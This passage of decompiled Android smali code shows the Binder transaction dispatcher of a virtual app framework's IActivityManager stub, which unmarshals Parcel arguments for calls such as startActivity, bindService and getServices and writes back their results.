                              334check-cast v0, Landroid/content/pm/ActivityInfo;
                              335move-object v2, v0
                              336goto_1cd:
                              337invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              338move-result-object v3
                              340invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              341move-result v0
                              342if-eqz v0, :cond_1e0
                              344sget-object v0, Landroid/os/Bundle;->CREATOR:Landroid/os/Parcelable$Creator;
                              346invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              347move-result-object v0
                              348check-cast v0, Landroid/os/Bundle;
                              349move-object v4, v0
                              350cond_1e0:
                              351invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              352move-result-object v5
                              354invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              355move-result v6
                              357invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              358move-result v7
                              359move-object v0, p0
                              361invoke-virtual/range {v0 .. v7}, Lcom/lody/virtual/server/IActivityManager$Stub;->startActivity(Landroid/content/Intent;Landroid/content/pm/ActivityInfo;Landroid/os/IBinder;Landroid/os/Bundle;Ljava/lang/String;II)I
                              362move-result v0
                              364invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              366invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              367goto/16 :goto_a
                              368cond_1f9: move-object v1, v4
                              369goto/16 :goto_1be
                              370cond_1fb: move-object v2, v4
                              371goto/16 :goto_1cd
                              372sswitch_1fd:
                              373const-string v0, "com.lody.virtual.server.IActivityManager"
                              375invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              377invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              378move-result v0
                              379if-eqz v0, :cond_24c
                              381sget-object v0, Landroid/content/ComponentName;->CREATOR:Landroid/os/Parcelable$Creator;
                              383invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              384move-result-object v0
                              385check-cast v0, Landroid/content/ComponentName;
                              386move-object v1, v0
                              387goto_211:
                              388invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              389move-result v0
                              390if-eqz v0, :cond_24e
                              392sget-object v0, Landroid/content/ComponentName;->CREATOR:Landroid/os/Parcelable$Creator;
                              394invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              395move-result-object v0
                              396check-cast v0, Landroid/content/ComponentName;
                              397move-object v2, v0
                              398goto_220:
                              399invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              400move-result-object v3
                              402invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              403move-result v0
                              404if-eqz v0, :cond_233
                              406sget-object v0, Landroid/content/Intent;->CREATOR:Landroid/os/Parcelable$Creator;
                              408invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              409move-result-object v0
                              410check-cast v0, Landroid/content/Intent;
                              411move-object v4, v0
                              412cond_233:
                              413invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              414move-result-object v5
                              416invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              417move-result v6
                              419invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              420move-result v7
                              422invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              423move-result v8
                              424move-object v0, p0
                              426invoke-virtual/range {v0 .. v8}, Lcom/lody/virtual/server/IActivityManager$Stub;->onActivityCreated(Landroid/content/ComponentName;Landroid/content/ComponentName;Landroid/os/IBinder;Landroid/content/Intent;Ljava/lang/String;III)V
                              428invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              429goto/16 :goto_a
                              430cond_24c: move-object v1, v4
                              431goto/16 :goto_211
                              432cond_24e: move-object v2, v4
                              433goto/16 :goto_220
                              434sswitch_250:
                              435const-string v0, "com.lody.virtual.server.IActivityManager"
                              437invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              439invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              440move-result v0
                              442invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              443move-result-object v1
                              445invoke-virtual {p0, v0, v1}, Lcom/lody/virtual/server/IActivityManager$Stub;->onActivityResumed(ILandroid/os/IBinder;)V
                              447invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              448goto/16 :goto_a
                              449sswitch_265:
                              450const-string v0, "com.lody.virtual.server.IActivityManager"
                              452invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              454invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              455move-result v0
                              457invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              458move-result-object v1
                              460invoke-virtual {p0, v0, v1}, Lcom/lody/virtual/server/IActivityManager$Stub;->onActivityDestroyed(ILandroid/os/IBinder;)Z
                              461move-result v0
                              463invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              464if-eqz v0, :cond_27c
                              465move v5, v9
                              466cond_27c:
                              467invoke-virtual {p3, v5}, Landroid/os/Parcel;->writeInt(I)V
                              468goto/16 :goto_a
                              469sswitch_281:
                              470const-string v0, "com.lody.virtual.server.IActivityManager"
                              472invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              474invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              475move-result v0
                              477invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              478move-result-object v1
                              480invoke-virtual {p0, v0, v1}, Lcom/lody/virtual/server/IActivityManager$Stub;->getActivityClassForToken(ILandroid/os/IBinder;)Landroid/content/ComponentName;
                              481move-result-object v0
                              483invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              484if-eqz v0, :cond_29f
                              486invoke-virtual {p3, v9}, Landroid/os/Parcel;->writeInt(I)V
                              488invoke-virtual {v0, p3, v9}, Landroid/content/ComponentName;->writeToParcel(Landroid/os/Parcel;I)V
                              489goto/16 :goto_a
                              490cond_29f:
                              491invoke-virtual {p3, v5}, Landroid/os/Parcel;->writeInt(I)V
                              492goto/16 :goto_a
                              493sswitch_2a4:
                              494const-string v0, "com.lody.virtual.server.IActivityManager"
                              496invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              498invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              499move-result v0
                              501invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              502move-result-object v1
                              504invoke-virtual {p0, v0, v1}, Lcom/lody/virtual/server/IActivityManager$Stub;->getCallingPackage(ILandroid/os/IBinder;)Ljava/lang/String;
                              505move-result-object v0
                              507invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              509invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              510goto/16 :goto_a
                              511sswitch_2bd:
                              512const-string v0, "com.lody.virtual.server.IActivityManager"
                              514invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              516invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              517move-result v0
                              519invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              520move-result-object v1
                              522invoke-virtual {p0, v0, v1}, Lcom/lody/virtual/server/IActivityManager$Stub;->getCallingActivity(ILandroid/os/IBinder;)Landroid/content/ComponentName;
                              523move-result-object v0
                              525invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              526if-eqz v0, :cond_2db
                              528invoke-virtual {p3, v9}, Landroid/os/Parcel;->writeInt(I)V
                              530invoke-virtual {v0, p3, v9}, Landroid/content/ComponentName;->writeToParcel(Landroid/os/Parcel;I)V
                              531goto/16 :goto_a
                              532cond_2db:
                              533invoke-virtual {p3, v5}, Landroid/os/Parcel;->writeInt(I)V
                              534goto/16 :goto_a
                              535sswitch_2e0:
                              536const-string v0, "com.lody.virtual.server.IActivityManager"
                              538invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              540invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              541move-result v0
                              543invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IActivityManager$Stub;->getTaskInfo(I)Lcom/lody/virtual/remote/AppTaskInfo;
                              544move-result-object v0
                              546invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              547if-eqz v0, :cond_2fa
                              549invoke-virtual {p3, v9}, Landroid/os/Parcel;->writeInt(I)V
                              551invoke-virtual {v0, p3, v9}, Lcom/lody/virtual/remote/AppTaskInfo;->writeToParcel(Landroid/os/Parcel;I)V
                              552goto/16 :goto_a
                              553cond_2fa:
                              554invoke-virtual {p3, v5}, Landroid/os/Parcel;->writeInt(I)V
                              555goto/16 :goto_a
                              556sswitch_2ff:
                              557const-string v0, "com.lody.virtual.server.IActivityManager"
                              559invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              561invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              562move-result v0
                              564invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              565move-result-object v1
                              567invoke-virtual {p0, v0, v1}, Lcom/lody/virtual/server/IActivityManager$Stub;->getPackageForToken(ILandroid/os/IBinder;)Ljava/lang/String;
                              568move-result-object v0
                              570invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              572invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              573goto/16 :goto_a
                              574sswitch_318:
                              575const-string v0, "com.lody.virtual.server.IActivityManager"
                              577invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              579invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              580move-result-object v0
                              582invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IActivityManager$Stub;->isVAServiceToken(Landroid/os/IBinder;)Z
                              583move-result v0
                              585invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              586if-eqz v0, :cond_32b
                              587move v5, v9
                              588cond_32b:
                              589invoke-virtual {p3, v5}, Landroid/os/Parcel;->writeInt(I)V
                              590goto/16 :goto_a
                              591sswitch_330:
                              592const-string v0, "com.lody.virtual.server.IActivityManager"
                              594invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              596invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              597move-result-object v1
                              599invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              600move-result v0
                              601if-eqz v0, :cond_360
                              603sget-object v0, Landroid/content/Intent;->CREATOR:Landroid/os/Parcelable$Creator;
                              605invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              606move-result-object v0
                              607check-cast v0, Landroid/content/Intent;
                              608goto_347:
                              609invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              610move-result-object v2
                              612invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              613move-result v3
                              615invoke-virtual {p0, v1, v0, v2, v3}, Lcom/lody/virtual/server/IActivityManager$Stub;->startService(Landroid/os/IBinder;Landroid/content/Intent;Ljava/lang/String;I)Landroid/content/ComponentName;
                              616move-result-object v0
                              618invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              619if-eqz v0, :cond_362
                              621invoke-virtual {p3, v9}, Landroid/os/Parcel;->writeInt(I)V
                              623invoke-virtual {v0, p3, v9}, Landroid/content/ComponentName;->writeToParcel(Landroid/os/Parcel;I)V
                              624goto/16 :goto_a
                              625cond_360: move-object v0, v4
                              626goto/16 :goto_347
                              627cond_362:
                              628invoke-virtual {p3, v5}, Landroid/os/Parcel;->writeInt(I)V
                              629goto/16 :goto_a
                              630sswitch_367:
                              631const-string v0, "com.lody.virtual.server.IActivityManager"
                              633invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              635invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              636move-result-object v1
                              638invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              639move-result v0
                              640if-eqz v0, :cond_392
                              642sget-object v0, Landroid/content/Intent;->CREATOR:Landroid/os/Parcelable$Creator;
                              644invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              645move-result-object v0
                              646check-cast v0, Landroid/content/Intent;
                              647goto_37e:
                              648invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              649move-result-object v2
                              651invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              652move-result v3
                              654invoke-virtual {p0, v1, v0, v2, v3}, Lcom/lody/virtual/server/IActivityManager$Stub;->stopService(Landroid/os/IBinder;Landroid/content/Intent;Ljava/lang/String;I)I
                              655move-result v0
                              657invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              659invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              660goto/16 :goto_a
                              661cond_392: move-object v0, v4
                              662goto/16 :goto_37e
                              663sswitch_394:
                              664const-string v0, "com.lody.virtual.server.IActivityManager"
                              666invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              668invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              669move-result v0
                              670if-eqz v0, :cond_3c2
                              672sget-object v0, Landroid/content/ComponentName;->CREATOR:Landroid/os/Parcelable$Creator;
                              674invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              675move-result-object v0
                              676check-cast v0, Landroid/content/ComponentName;
                              677goto_3a7:
                              678invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              679move-result-object v1
                              681invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              682move-result v2
                              684invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              685move-result v3
                              687invoke-virtual {p0, v0, v1, v2, v3}, Lcom/lody/virtual/server/IActivityManager$Stub;->stopServiceToken(Landroid/content/ComponentName;Landroid/os/IBinder;II)Z
                              688move-result v0
                              690invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              691if-eqz v0, :cond_3bd
                              692move v5, v9
                              693cond_3bd:
                              694invoke-virtual {p3, v5}, Landroid/os/Parcel;->writeInt(I)V
                              695goto/16 :goto_a
                              696cond_3c2: move-object v0, v4
                              697goto/16 :goto_3a7
                              698sswitch_3c4:
                              699const-string v0, "com.lody.virtual.server.IActivityManager"
                              701invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              703invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              704move-result v0
                              705if-eqz v0, :cond_403
                              707sget-object v0, Landroid/content/ComponentName;->CREATOR:Landroid/os/Parcelable$Creator;
                              709invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              710move-result-object v0
                              711check-cast v0, Landroid/content/ComponentName;
                              712move-object v1, v0
                              713goto_3d8:
                              714invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              715move-result-object v2
                              717invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              718move-result v3
                              720invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              721move-result v0
                              722if-eqz v0, :cond_3ef
                              724sget-object v0, Landroid/app/Notification;->CREATOR:Landroid/os/Parcelable$Creator;
                              726invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              727move-result-object v0
                              728check-cast v0, Landroid/app/Notification;
                              729move-object v4, v0
                              730cond_3ef:
                              731invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              732move-result v0
                              733if-eqz v0, :cond_3f6
                              734move v5, v9
                              735cond_3f6:
                              736invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              737move-result v6
                              738move-object v0, p0
                              740invoke-virtual/range {v0 .. v6}, Lcom/lody/virtual/server/IActivityManager$Stub;->setServiceForeground(Landroid/content/ComponentName;Landroid/os/IBinder;ILandroid/app/Notification;ZI)V
                              742invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              743goto/16 :goto_a
                              744cond_403: move-object v1, v4
                              745goto/16 :goto_3d8
                              746sswitch_405:
                              747const-string v0, "com.lody.virtual.server.IActivityManager"
                              749invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              751invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              752move-result-object v1
                              754invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              755move-result-object v2
                              757invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              758move-result v0
                              759if-eqz v0, :cond_442
                              761sget-object v0, Landroid/content/Intent;->CREATOR:Landroid/os/Parcelable$Creator;
                              763invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              764move-result-object v0
                              765check-cast v0, Landroid/content/Intent;
                              766move-object v3, v0
                              767goto_421:
                              768invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              769move-result-object v4
                              771invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              772move-result-object v0
                              774invoke-static {v0}, Landroid/app/IServiceConnection$Stub;->asInterface(Landroid/os/IBinder;)Landroid/app/IServiceConnection;
                              775move-result-object v5
                              777invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              778move-result v6
                              780invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              781move-result v7
                              782move-object v0, p0
                              784invoke-virtual/range {v0 .. v7}, Lcom/lody/virtual/server/IActivityManager$Stub;->bindService(Landroid/os/IBinder;Landroid/os/IBinder;Landroid/content/Intent;Ljava/lang/String;Landroid/app/IServiceConnection;II)I
                              785move-result v0
                              787invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              789invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              790goto/16 :goto_a
                              791cond_442: move-object v3, v4
                              792goto/16 :goto_421
                              793sswitch_444:
                              794const-string v0, "com.lody.virtual.server.IActivityManager"
                              796invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              798invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              799move-result-object v0
                              801invoke-static {v0}, Landroid/app/IServiceConnection$Stub;->asInterface(Landroid/os/IBinder;)Landroid/app/IServiceConnection;
                              802move-result-object v0
                              804invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              805move-result v1
                              807invoke-virtual {p0, v0, v1}, Lcom/lody/virtual/server/IActivityManager$Stub;->unbindService(Landroid/app/IServiceConnection;I)Z
                              808move-result v0
                              810invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              811if-eqz v0, :cond_45f
                              812move v5, v9
                              813cond_45f:
                              814invoke-virtual {p3, v5}, Landroid/os/Parcel;->writeInt(I)V
                              815goto/16 :goto_a
                              816sswitch_464:
                              817const-string v0, "com.lody.virtual.server.IActivityManager"
                              819invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              821invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              822move-result-object v1
                              824invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              825move-result v0
                              826if-eqz v0, :cond_48e
                              828sget-object v0, Landroid/content/Intent;->CREATOR:Landroid/os/Parcelable$Creator;
                              830invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              831move-result-object v0
                              832check-cast v0, Landroid/content/Intent;
                              833goto_47b:
                              834invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              835move-result v2
                              836if-eqz v2, :cond_482
                              837move v5, v9
                              838cond_482:
                              839invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              840move-result v2
                              842invoke-virtual {p0, v1, v0, v5, v2}, Lcom/lody/virtual/server/IActivityManager$Stub;->unbindFinished(Landroid/os/IBinder;Landroid/content/Intent;ZI)V
                              844invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              845goto/16 :goto_a
                              846cond_48e: move-object v0, v4
                              847goto/16 :goto_47b
                              848sswitch_490:
                              849const-string v0, "com.lody.virtual.server.IActivityManager"
                              851invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              853invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              854move-result-object v1
                              856invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              857move-result v2
                              859invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              860move-result v3
                              862invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              863move-result v4
                              865invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              866move-result v5
                              867move-object v0, p0
                              869invoke-virtual/range {v0 .. v5}, Lcom/lody/virtual/server/IActivityManager$Stub;->serviceDoneExecuting(Landroid/os/IBinder;IIII)V
                              871invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              872goto/16 :goto_a
                              873sswitch_4b2:
                              874const-string v0, "com.lody.virtual.server.IActivityManager"
                              876invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              878invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              879move-result v0
                              880if-eqz v0, :cond_4d9
                              882sget-object v0, Landroid/content/Intent;->CREATOR:Landroid/os/Parcelable$Creator;
                              884invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              885move-result-object v0
                              886check-cast v0, Landroid/content/Intent;
                              887goto_4c5:
                              888invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              889move-result-object v1
                              891invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              892move-result v2
                              894invoke-virtual {p0, v0, v1, v2}, Lcom/lody/virtual/server/IActivityManager$Stub;->peekService(Landroid/content/Intent;Ljava/lang/String;I)Landroid/os/IBinder;
                              895move-result-object v0
                              897invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              899invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeStrongBinder(Landroid/os/IBinder;)V
                              900goto/16 :goto_a
                              901cond_4d9: move-object v0, v4
                              902goto/16 :goto_4c5
                              903sswitch_4db:
                              904const-string v0, "com.lody.virtual.server.IActivityManager"
                              906invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              908invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              909move-result-object v1
                              911invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              912move-result v0
                              913if-eqz v0, :cond_502
                              915sget-object v0, Landroid/content/Intent;->CREATOR:Landroid/os/Parcelable$Creator;
                              917invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              918move-result-object v0
                              919check-cast v0, Landroid/content/Intent;
                              920goto_4f2:
                              921invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              922move-result-object v2
                              924invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              925move-result v3
                              927invoke-virtual {p0, v1, v0, v2, v3}, Lcom/lody/virtual/server/IActivityManager$Stub;->publishService(Landroid/os/IBinder;Landroid/content/Intent;Landroid/os/IBinder;I)V
                              929invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              930goto/16 :goto_a
                              931cond_502: move-object v0, v4
                              932goto/16 :goto_4f2
                              933sswitch_504:
                              934const-string v0, "com.lody.virtual.server.IActivityManager"
                              936invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              938invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              939move-result v0
                              941invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              942move-result v1
                              944invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              945move-result v2
                              947invoke-virtual {p0, v0, v1, v2}, Lcom/lody/virtual/server/IActivityManager$Stub;->getServices(III)Lcom/lody/virtual/remote/VParceledListSlice;
                              948move-result-object v0
                              950invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              951if-eqz v0, :cond_526
                              953invoke-virtual {p3, v9}, Landroid/os/Parcel;->writeInt(I)V
                              955invoke-virtual {v0, p3, v9}, Lcom/lody/virtual/remote/VParceledListSlice;->writeToParcel(Landroid/os/Parcel;I)V
                              956goto/16 :goto_a
                              957cond_526:
                              958invoke-virtual {p3, v5}, Landroid/os/Parcel;->writeInt(I)V
                              959goto/16 :goto_a
                              960sswitch_52b:
                              961const-string v0, "com.lody.virtual.server.IActivityManager"
                              963invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              965invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              966move-result v1
                              968invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              969move-result v0
                              970if-eqz v0, :cond_54e
                              972sget-object v0, Landroid/content/pm/ProviderInfo;->CREATOR:Landroid/os/Parcelable$Creator;
                              974invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              975move-result-object v0
                              976check-cast v0, Landroid/content/pm/ProviderInfo;
                              977goto_542:
                              978invoke-virtual {p0, v1, v0}, Lcom/lody/virtual/server/IActivityManager$Stub;->acquireProviderClient(ILandroid/content/pm/ProviderInfo;)Landroid/os/IBinder;
                              979move-result-object v0
                              981invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              983invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeStrongBinder(Landroid/os/IBinder;)V
                              984goto/16 :goto_a
                              985cond_54e: move-object v0, v4
                              986goto/16 :goto_542
                              987sswitch_550:
                              988const-string v0, "com.lody.virtual.server.IActivityManager"
                              990invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              992invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              993move-result-object v0
                              995invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IActivityManager$Stub;->getPendingIntent(Landroid/os/IBinder;)Lcom/lody/virtual/remote/PendingIntentData;
                              996move-result-object v0
                              998invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              999if-eqz v0, :cond_56a
                              1001invoke-virtual {p3, v9}, Landroid/os/Parcel;->writeInt(I)V
                              1003invoke-virtual {v0, p3, v9}, Lcom/lody/virtual/remote/PendingIntentData;->writeToParcel(Landroid/os/Parcel;I)V
                              1004goto/16 :goto_a
                              1005cond_56a:
                              1006invoke-virtual {p3, v5}, Landroid/os/Parcel;->writeInt(I)V
                              1007goto/16 :goto_a
                              1008sswitch_56f:
                              1009const-string v0, "com.lody.virtual.server.IActivityManager"
                              1011invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              1013invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              1014move-result-object v0
                              1016invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              1017move-result-object v1
                              1019invoke-virtual {p0, v0, v1}, Lcom/lody/virtual/server/IActivityManager$Stub;->addPendingIntent(Landroid/os/IBinder;Ljava/lang/String;)V
                              1021invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              1022goto/16 :goto_a
                              1023sswitch_584:
                              1024const-string v0, "com.lody.virtual.server.IActivityManager"
                              1026invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              1028invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              1029move-result-object v0
                              1031invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IActivityManager$Stub;->removePendingIntent(Landroid/os/IBinder;)V
                              1033invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              1034goto/16 :goto_a
                              1035sswitch_595:
                              1036const-string v0, "com.lody.virtual.server.IActivityManager"
                              1038invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              1040invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              1041move-result-object v0
